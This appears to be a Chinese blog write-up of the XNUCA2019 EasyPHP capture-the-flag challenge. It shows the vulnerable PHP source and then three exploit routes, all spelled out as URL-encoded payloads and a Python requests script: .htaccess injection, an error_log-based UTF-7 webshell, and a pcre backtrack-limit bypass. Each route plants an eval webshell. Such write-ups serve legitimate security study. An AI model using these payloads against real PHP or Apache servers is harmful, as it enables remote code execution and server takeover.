刷题笔记:[XNUCA2019Qualifier]EasyPHP


前言

关键字:[htaccess|文件包含|尖括号绕过]

<?php
    $files = scandir('./');
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./');
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

题解

一开始想着真简单啊,直接写shell,

然后变成了字符串,

预期解

利用error_log写入log文件到/tmp/fl3g.php,再设置include_path=/tmp即可让index.php能够包含我们想要的文件。这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。

尝试上传.htaccess,但是在htaccess文件写入的时候,写入了一些混加的字符来打乱了我们的配置,可以利用注释符,以及转义,来进行绕过即#\,拼接完成过后就变成了#\\nJust one chance 不存在换行了。

error_log的内容默认是htmlentities的,我们无法插入类似<?php phpinfo();?>的payload,尝试设置编码来绕过限制。具体见该wp,还能绕过尖括号<.

文件编码可以用notepad3或者iconv 1.txt -f UTF-8 -t UTF-7 -o 2.txt

.htaccess不支持多行注释且单行注释#必须在每行的开头

所以.htaccess文件内容

php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
# \

include_path:include的路径,设置这个后,如果include(fl3g.php)就会尝试去包含/tmp/fl3g.php文件,没有则报错。

error_log:将php运行报错的记录写到指定文件中

error_reporting 32767:2767是所有常量加起来的值

此时我们访问index.php就会触发error,将shell写入/tmp/fl3g.php中

?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%2Fxx%2F%2BADw%3Fphp%20die(eval(%24_GET%5B2%5D))%2BADs%20%2BAF8AXw-halt%2BAF8-compiler()%2BADs%22%0Aphp_value%20error_reporting%2032767%0Aphp_value%20error_log%20%2Ftmp%2Ffl3g.php%0A%23%20%5C

payload打入后,访问界面,这里按理来说应该是触发error了,但是,将报错结果写入/tmp/fl3g.php

再写入个.htaccess文件

php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \

将编码设置转为UTF-7,这样shell就能够被顺利的解析出来了。

?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%22%0Aphp_value%20zend.multibyte%201%0Aphp_value%20zend.script_encoding%20%22UTF-7%22%0A%23%20%5C

注意,在这里直接访问/?2=phpinfo();,payload里也是die(),目的就是为了不让代码执行到删除文件那里!!!在这里浪费了两个小时才意识到!!!!

非预期解1

设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php

大概就是preg_match()函数在进行正则回溯的时候(比如贪婪匹配)超过100000次后会直接返回false,在这里就把这个次数设为0,导致这个函数直接坏掉。

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

令filename为:

?filename=php://filter/write=convert.base64-decode/resource=.htaccess

content就能绕过stristr

非预期解2

注意:apache2.4.x不支持php_value

换行符是\n,加了个\就变成\\n,就不是换行符了

就被解析成这样:

php_value auto_prepend_fi\
le ".htaccess"
# <?php phpinfo();?>\
import requests

# %23 是# 的url编码,防止python把自己注释了
# \\ , 两个\\上传上去就是 一个 \

content = '''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php eval($_POST[cmd]);?>\\'''

url = "http://203dd3ff-f703-4233-b159-93832d5b93b3.node4.buuoj.cn:81/?filename=.htaccess&content={}".format(content)
res = requests.get(url=url)
print(res.url)
print(res.text)

参考链接

这篇写的很详细:

https://blog.csdn.net/Zero_Adam/article/details/115740087


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录